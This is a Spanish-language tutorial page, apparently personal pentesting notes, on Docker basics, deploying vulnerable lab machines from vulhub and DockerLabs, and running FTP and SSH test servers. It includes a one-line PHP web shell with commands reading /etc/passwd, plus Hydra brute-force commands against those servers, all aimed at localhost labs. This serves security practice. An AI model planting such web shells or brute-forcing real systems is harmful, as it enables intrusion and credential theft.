top of page

docker
🐳 DOCKER
Docker es una tecnología de contenedores escrita en "Golang" que permite a los desarrolladores empaquetar aplicaciones y sus dependencias en contenedores virtuales, facilitando su ejecución en cualquier sistema operativo. Estos contenedores son ligeros y portátiles, lo que significa que pueden ejecutarse en cualquier entorno que soporte Docker, independientemente del sistema operativo subyacente. Docker utiliza el kernel de Linux y sus características, como los grupos de control y los espacios de nombres, para aislar los procesos y ejecutarlos de manera independiente, mejorando la seguridad y la eficiencia en el uso de la infraestructura.
Docker se compone de varios componentes, incluyendo "docker images", que son plantillas de solo lectura que contienen todo lo necesario para ejecutar una aplicación, y contenedores, que son instancias en ejecución de estas imágenes. Las imágenes Docker pueden ser compartidas y distribuidas, lo que permite a los desarrolladores y a los equipos de operaciones trabajar con la misma configuración de aplicación en diferentes entornos.
NOTA: Docker requiere permisos de root en todo momento
📦 Instalación:
sudo apt install docker.io
📦 Comprobar instalación exitosa:
sudo docker run hello-world
▶️ Poner Docker en ejecución:
sudo service docker start
⛔ Parar Docker:
sudo service docker stop
🔄 Reiniciar Docker:
sudo service docker restart
📊 Ver estado de Docker:
sudo service docker status
esquema
📄 DOCKERFILES / 💿 DOCKER IMAGES
Un Dockerfile es un archivo de texto que contiene las instrucciones para construir una IMAGEN Docker.
Estructura MÍNIMA:
FROM ubuntu:latest
MAINTAINER Nombre_creador "correo@mail.com"
⚙️ Montar imagen Docker a partir del Dockerfile:
docker build -t my_image .
⚙️ Montar imagen Docker a partir del Dockerfile (una versión 2):
docker build -t my_first_image:v2 .
🔎 Mostrar imágenes Docker montadas:
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
my_image latest 4kfd4gm3s 20 seconds ago 77.8MB
🗑️ ELIMINAR imagen Docker montada, por NOMBRE (no dejará si de esa imagen dependen otras. "Child images"):
docker rmi my_image:tag
🗑️ ELIMINAR imagen Docker montada, por ID (no dejará si de esa imagen dependen otras. "Child images"):
docker rmi 4kfd4gm3s
🗑️ ELIMINAR imagen Docker montada FORZOSAMENTE, por ID:
docker rmi 4kfd4gm3s --force
🗑️ ELIMINAR TODAS las imagen Docker montadas:
docker rmi $(docker images -q)
⚙️ Montar una imagen Docker preinstalada de la librería Docker:
docker pull debian:latest
LISTA de opciones preinstaladas:
Ubuntu (Basada en Ubuntu, una de las distribuciones de Linux más populares)
Debian (Basada en Debian, ofrece estabilidad y seguridad)
Alpine (Una distribución ligera y segura, ideal para contenedores)
Python (Para ejecutar aplicaciones escritas en Python)
Node (Para ejecutar aplicaciones basadas en Node.js)
MySQL (Para bases de datos MySQL)
PostgreSQL (Para bases de datos PostgreSQL)
Redis (Para almacenamiento en memoria y estructuras de datos)
MongoDB (Para bases de datos NoSQL)
Nginx (Como servidor web y proxy inverso)
Apache (Como servidor web)
Golang (Para aplicaciones escritas en Go)
Ruby (Para aplicaciones escritas en Ruby)
PHP (Para aplicaciones web PHP)
📄 Edición del Dockerfile, programando Binarios a instalar:
FROM ubuntu:latest
MAINTAINER Nombre_creador "correo@mail.com"
RUN apt update && apt install -y net-tools \
iputils-ping \
dnsutils \
curl \
git \
nano \
mousepad \
nmap \
apache2 \
php
dockerfile
run image
🛢️ DOCKER CONTAINERS
▶️ Ejecutar Contenedor a partir de una imagen Docker:
docker run -dit --name mycontainer my_image
PARÁMETROS de docker run:
-t (Asigna un pseudo-TTY al contenedor. Esto es útil para interactuar con el contenedor como si fuera una terminal)
-i (Mantiene abierta la entrada estándar (STDIN) para el contenedor, permitiendo la interacción con el usuario)
-d (Ejecuta el contenedor en segundo plano y devuelve el ID del contenedor)
--name (Asigna un nombre al contenedor, facilitando su identificación y gestión)
-p (Publica un puerto del contenedor al host. Esto es útil para acceder a servicios web o aplicaciones que se ejecutan dentro del contenedor)
-v (Monta un volumen del host en el contenedor. Esto permite persistir datos y compartir archivos entre el host y el contenedor)
-e (Establece variables de entorno dentro del contenedor)
--rm (Elimina automáticamente el contenedor cuando este se detiene. Esto es útil para limpiar contenedores que no se van a reutilizar)
-p 80:80 (Significa que cualquier tráfico dirigido al puerto 80 del host será redirigido al puerto 80 del contenedor, permitiendo así el acceso
externo al servicio que se ejecuta dentro del contenedor)
🔎 Mostrar Contenedor Docker en ejecución:
docker ps
🔎 Mostrar Contenedor Docker ejecutados y/o en ejecución:
docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e43h849238db0 my_image "bash" 10 seconds ago Up 5 seconds myContainer
▶️ Iniciar un Contenedor por su ID. Si el Contenedor no está en ejecución, no se podrá ejecutar comandos en él:
docker start e43h849238db0
▶️ Iniciar un Contenedor por su NOMBRE. Si el Contenedor no está en ejecución, no se podrá ejecutar comandos en él:
docker start myContainer
⛔ Parar un Contenedor en ejecución, por ID (puede tardar):
docker stop e43h849238db0
⛔ Parar un Contenedor en ejecución, por NOMBRE (puede tardar):
docker stop myContainer
⛔ Parar TODOS los Contenedores en ejecución (puede tardar):
docker stop $(docker ps -q)
🗑️💥BORRAR FORZOSAMENTE Contenedor por ID, estando o no en ejecución:
docker rm e43h849238db0 --force
🗑️💥BORRAR FORZOSAMENTE Contenedores pendientes, si quedan cacheados:
docker rm $(docker ps -a -q) --force
#️⃣ Ejecutar comandos en un Contenedor que ya está en ejecución:
docker exec
#️⃣ EJEMPLO. Ejecutar un comando ls en un Contenedor en ejecución, por CONTAINER ID:
docker exec e43h849238db0 ls
🖥️ VER IP DOCKER
🟦 Ver IP de DOCKER0:
ifconfig | grep -A 1 "docker" | grep inet | awk '{print$2}'
Para escanear la Interfaz de Red "docker0" y mostrar las direcciones IP de las máquinas/contenedores Docker en ejecución,
ir AQUÍ.
ver ip docker
bash shell
🐚 BASH SHELL
Obtener una shell interactiva BASH dentro del Contenedor, por NOMBRE:
docker exec -it myContainer bash
Obtener una shell interactiva BASH dentro del Contenedor, por CONTAINER ID:
docker exec -it e43h849238db0 bash
#️⃣ DENTRO DE LA BASH SHELL:
hostname
e43h849238db0
hostname -I
172.17.0.2
NOTA: 172.17.0.2 es un ejemplo de IP asignada a la imagen Docker. En este caso, la IP del equipo anfitrión sería esa.
NOTA: La Bash Shell viene por defecto "desnuda", es decir, con los binarios básicos del sistema. Cualquier otro comando adicional será necesario instalarlo.
CONFIGURAR LA BASH SHELL (también se puede configurar desde el Dockerfile):
1. Actualizar sistema
apt update
2. Instalar herramientas básicas de red:
apt install net-tools -y
3. Instalar binarios, por ejemplo PING:
apt install iputils-ping
port forward
🔌 PORT FORWARDING
El port forwarding en Docker permite exponer los puertos de los contenedores al mundo exterior, facilitando la comunicación entre los contenedores y el mundo exterior. Los contenedores Docker se ejecutan en aislamiento por defecto y solo pueden comunicarse con otros contenedores en la misma red. Para hacer un contenedor accesible desde el mundo exterior o para mapear un puerto de contenedor a un puerto de host, se utiliza el port forwarding.
📄 Construir una imagen Docker, programando Binarios a instalar, activando Apache y exponiendo el puerto 80.
Con ENV se crea una variable de entorno que evita que entre en modo interactivo.
FROM ubuntu:latest
MAINTAINER Nombre_creador "correo@mail.com"
ENV DEBIAN_FRONTEND noninteractive
RUN apt update && apt install -y net-tools \
iputils-ping \
dnsutils \
curl \
git \
nano \
mousepad \
nmap \
python3 \
apache2 \
php
EXPOSE 80
ENTRYPOINT service apache2 start && /bin/bash
⚙️ Montar la imagen Docker de nombre webserver:
docker build -t webserver .
▶️ Para la ejecución de dicha imagen Docker (imitando un servidor), le indicaremos que el puerto 80 del host corresponda con el puerto 80 del contenedor:
docker run -dit -p 80:80 --name myWebServer webserver
Pedir a Docker información sobre un puerto:
docker port myWebServer
80/tcp - 0.0.0.0:80
Ver aplicaciones corriendo por un puerto del equipo:
lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
docker-pr 204485 root 4u IPv4 2107519 0t0 TCP *:http (LISTEN)
Otra forma de comprobar el tráfico por el puerto 80, desde el navegador haciendo un "localhost":

🐚 Obtener una Bash Shell del contenedor en ejecución:
docker exec -it myWebServer bash
root@0351db93b37:/#
#️⃣ DENTRO DE LA BASH SHELL:
Si hacemos lo siguiente, borraríamos la página de bienvenida por defecto de Servidor Apache2 que se vio anteriormente:
cd /var/www/html/
ls
index.html
rm index.html

Crear nuevo index en php para mostrar texto en el navegador:
mousepad index.php
📄 Dentro de mousepad u otro editor de texto:
<?php
echo "Esto es una prueba";
?>

Si en lugar de un index en php, se crea o se pudiera subir al servidor un archivo cmd en php, se podría comprometer el contenedor Docker, pero no la máquina anfitrión, que quedaría protegida por el contenedor:
mousepad cmd.php
📄 Dentro de mousepad u otro editor de texto:
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
Recargando Localhost en el navegador, permitirá acceder al archivo cmd.php:

Ahora será posible ejecutar comandos en la barra del navegador mediante:
localhost/cmd.php?cmd=
EJEMPLOS:
localhost/cmd.php?cmd=whoami
www-data
localhost/cmd.php?cmd=ls -l
total 4
-rw-r--r-- 1 root root 62 Dec 23 15:44 cmd.php
localhost/cmd.php?cmd=cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin:nologin
...
localhost/cmd.php?cmd=ifconfig (la información mostrada corresponde al contenedor y no a la máquina anfitrión)
eth0: flags=4163 mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
...
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqeuelen 1000 (Local Loopback)
...
📁 MONTURAS / MONTAR DIRECTORIOS
Montar la imagen Docker sobre un directorio del sistema anfitrión, sincronizado a un directorio del contenedor:
▶️ Ejecutar contenedor Docker:
docker run -dit -p 80:80 -v /home/user/Desktop/docker/:/var/www/html/ --name myWebServer webserver
🔎 Mostrar contenedores Docker en ejecución:
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
11b836c4c01c webserver "/bin/sh -c 'service..." 8 seconds ago Up 5 seconds 0.0.0.0:80->80/tcp myWebServer
monturas
compose
📦 DOCKER-COMPOSE
Docker-Compose es una herramienta que permite definir y ejecutar aplicaciones multi-contenedor con Docker. Es fundamental para simplificar el control de toda la pila de aplicaciones, facilitando la gestión de servicios, redes y volúmenes en un único archivo de configuración YAML. Con un solo comando, puedes crear y comenzar todos los servicios definidos en tu archivo de configuración. Docker Compose es compatible con todos los entornos, incluyendo producción, staging, desarrollo, pruebas y flujos de trabajo de CI. Además, ofrece comandos para gestionar el ciclo de vida completo de tu aplicación, como iniciar, detener y reconstruir servicios, ver el estado de los servicios en ejecución, transmitir la salida de registro de los servicios en ejecución, y ejecutar un comando único en un servicio.
Instalar Docker-Compose:
sudo apt install docker-compose
Arrancar Docker-Compose desde un directorio que contenga un archivo docker-compose.yml:
docker-compose up -d
Archivo editable:
docker-compose.yml
Contenido de EJEMLO de docker-compose.yml:
version: '3.7'
services:
nginx:
build: .
volumes:
- ./www:/var/www/html
- ./conf:/etc/nginx
ports:
- "80:80"
- "443:443"
Este archivo define un servicio llamado nginx que construirá una imagen Docker a partir del Dockerfile presente en el directorio actual (.). Monta dos volúmenes: uno para el contenido web (www) y otro para la configuración de Nginx (conf). Exponiendo los puertos 80 y 443, permite el acceso al servicio web desde el host y otros contenedores.
Para este ejemplo, necesitarás un Dockerfile en el directorio actual que construya una imagen con Nginx y la configuración necesaria para el entorno vulnerable.
Aquí hay un ejemplo básico de cómo podría verse ese Dockerfile:
FROM ubuntu:latest
RUN apt-get update && apt-get install -y nginx
COPY ./conf /etc/nginx
COPY ./www /var/www/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
continue...
desplegar maquinas
🖥️ DESPLEGAR MÁQUINAS VULNERABLES (con ejemplo práctico)
Directorio de máquinas vulnerables desplegables con Docker:
🌐 https://github.com/vulhub/vulhub
🖥️ Máquina de ejemplo: kibana/CVE-2018-17246
🌐 https://github.com/vulhub/vulhub/tree/master/kibana/CVE-2018-17246
⚠️Descarga con CURL (git clone tira error) requiere modificar el último tramo con el repositorio correspondiente:
curl https://codeload.github.com/vulhub/vulhub/tar.gz/master | tar -xz --strip=2 vulhub-master/kibana/CVE-2018-17246
Archivo editable:
docker-compose.yml
version: '3'
services:
kibana:
image: vulhub/kibana:5.6.12
depends_on:
- elasticsearch
ports:
- "5601:5601"
elasticsearch:
image: vulhub/elasticsearch:5.6.16
NOTA: Por defecto viene como versión '2', lo que podría dar errores más adelante. Modificar a versión '3'.
Ejecutar la siguiente línea en una terminal situada en el directorio del docker-compose.yml:
docker-compose up -d
Comprobar las imágenes Docker:
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
vulhub/elasticsearch 5.6.16 15f4fc379c17 4 years ago 323MB
vulhub/kibana 5.6.12 69bb89604af3 4 years ago 388MB
Comprobar los contenedores:
docker ps
CONTAINER ID IMAGE COMMAND STATUS PORTS
095a681f7eb6 vulhub/kibana:5.6.12 "/docker-entrypoint.…" Up 0.0.0.0:5601->5601/tcp, :::5601->5601/tcp
Ver conectividad de puertos del contenedor (puerto 5601 del equipo = puerto 5601 del contenedor):
docker port 095a681f7eb6
5601/tcp -> 0.0.0.0:5601
5601/tcp -> :::5601
🐋 DESPLEGAR DOCKERLABS
🌐 https://dockerlabs.es/
▶️ Iniciar máquina (desde terminal en carpeta contenedora):
sudo bash auto_deploy.sh [nombre_máquina].tar
⛔ Parar máquina:
[ctrl] + [c]
desplegar dockerlabs
docker network
🧹 LIMPIEZA TOTAL
1º. Comprobar los contenedores en ejecución:
docker ps
2º. Parar todos los contenedores:
docker stop $(docker ps -a -q)
3º. Eliminar todos los contenedores:
docker rm $(docker ps -a -q)
4º. Comprobar las imágenes en ejecución:
docker images
4º. Eliminar todas las imágenes:
docker rmi $(docker images -q)
Clean services
FTP server
🖥️ FTP SERVER
Iniciar un Servidor FTP usando vsftpd:
GitHub: garethflowers
🌐 https://github.com/garethflowers/docker-ftp-server
Para iniciar un contenedor, con los datos en /data en el host, pasar lo siguiente por terminal:
docker run \
--detach \
--env FTP_PASS=123 \
--env FTP_USER=SF01 \
--name my-ftp-server \
--publish 20-21:20-21/tcp \
--publish 40000-40009:40000-40009/tcp \
--volume /data:/home/user \
garethflowers/ftp-server
O mediante docker compose:
services:
ftp-server:
container_name: my-ftp-server
environment:
- FTP_PASS=123
- FTP_USER=SF01
image: garethflowers/ftp-server
ports:
- '20-21:20-21/tcp'
- '40000-40009:40000-40009/tcp' # Only needed for passive mode
volumes: - '/data:/home/user'
Para conectar con el servidor FTP creado:
ftp localhost
Introducir nombre de usuario:
SF01
Introducir contraseña:
123
Hacer fuerza bruta (sacar contraseña) sobre el servidor con Hydra usando la wordlist rockyou.txt:
hydra -l SF01 -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1
_____________________________________________________________________________________________
Iniciar un Servidor FTP que tiene habilitado el usuario 👤anonymous:
GitHub: metabrainz
🌐 https://github.com/metabrainz/docker-anon-ftp
Para el contenedor, pasar lo siguiente por terminal:
docker run -d -p 20-21:20-21 -p 65500-65515:65500-65515 -v /tmp:/var/ftp:ro metabrainz/docker-anon-ftp
Haciendo un escaneo con Nmap a localhost:
nmap -sCV -p21 127.0.0.1
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 6250000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.17.0.2 is not the same as 127.0.0.1
Service Info: Host: Welcome
Por lo tanto, para conectar con el servidor FTP:
ftp localhost
Introducir nombre de usuario:
anonymous
Introducir contraseña (ninguna):
[enter]
🖥️ SSH SERVER
Iniciar un Servidor SSH usando docker cli:
🌐 https://hub.docker.com/r/linuxserver/openssh-server
Para iniciar el contenedor, pasar lo siguiente por terminal:
docker run -d \
--name=openssh-server \
--hostname=openssh-server `#optional` \
-e PUID=1000 \
-e PGID=1000 \
-e TZ=Etc/UTC \
-e PUBLIC_KEY=yourpublickey `#optional` \
-e PUBLIC_KEY_FILE=/path/to/file `#optional` \
-e PUBLIC_KEY_DIR=/path/to/directory/containing/_only_/pubkeys `#optional` \
-e PUBLIC_KEY_URL=https://github.com/username.keys `#optional` \
-e SUDO_ACCESS=false `#optional` \
-e PASSWORD_ACCESS=true \
-e USER_PASSWORD=aurora \
-e USER_NAME=SF01 \
-e LOG_STDOUT= `#optional` \
-p 2222:2222 \
-v /path/to/openssh-server/config:/config \
--restart unless-stopped \
lscr.io/linuxserver/openssh-server:latest
Para conectar con el servidor SSH:
ssh SF01@127.0.0.1 -p 2222
Contestar pregunta:
yes
Introducir contraseña:
aurora
Hacer fuerza bruta (sacar contraseña) sobre el servidor con Hydra usando la wordlist rockyou.txt:
hydra -l SF01 -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1 -s 2222 -t 15
SSH server
📄 DOCKERFILE - PARA REVERSE/BIND/FORWARD SHELL
Contenido del Dockerfile:
FROM ubuntu:latest
MAINTAINER Nombre_creador "correo@mail.com"
ENV DEBIAN_FRONTEND noninteractive
RUN apt update && apt install -y net-tools \
iputils-ping \
dnsutils \
curl \
git \
nano \
nmap \
python3 \
apache2 \
php
EXPOSE 80
ENTRYPOINT service apache2 start && /bin/bash
Contenido
dockerfile rev shell
📡 DOCKER0 SCANNING
Docker utiliza un componente llamado Docker Networking para gestionar la comunicación entre contenedores, el host y el exterior. Cuando instalas Docker, este crea automáticamente una red virtual interna (por defecto, una red de tipo bridge) para los contenedores. Esta red se llama docker0 y está diseñada para aislar los contenedores del resto de la red del host y de otras redes externas, proporcionando un entorno controlado.
El rango de direcciones IP 172.17.0.0/16 (que va desde 172.17.0.0 hasta 172.17.255.255) es el rango predeterminado que Docker asigna a la red bridge (docker0) cuando se instala.
Ver Interfaces de Red activas (entre las que debería estar docker0 si el contenedor/máquina se ha ejecutado con éxito):
ifconfig
Escanear el "Docker Networking" con Arp-scan para ver las direcciones IP de las máquinas en ejecución con Docker:
sudo arp-scan --interface=docker0 172.17.0.0/16
Comprobar los Contenedores Docker en ejecución:
docker ps
docker0-scanning
bottom of page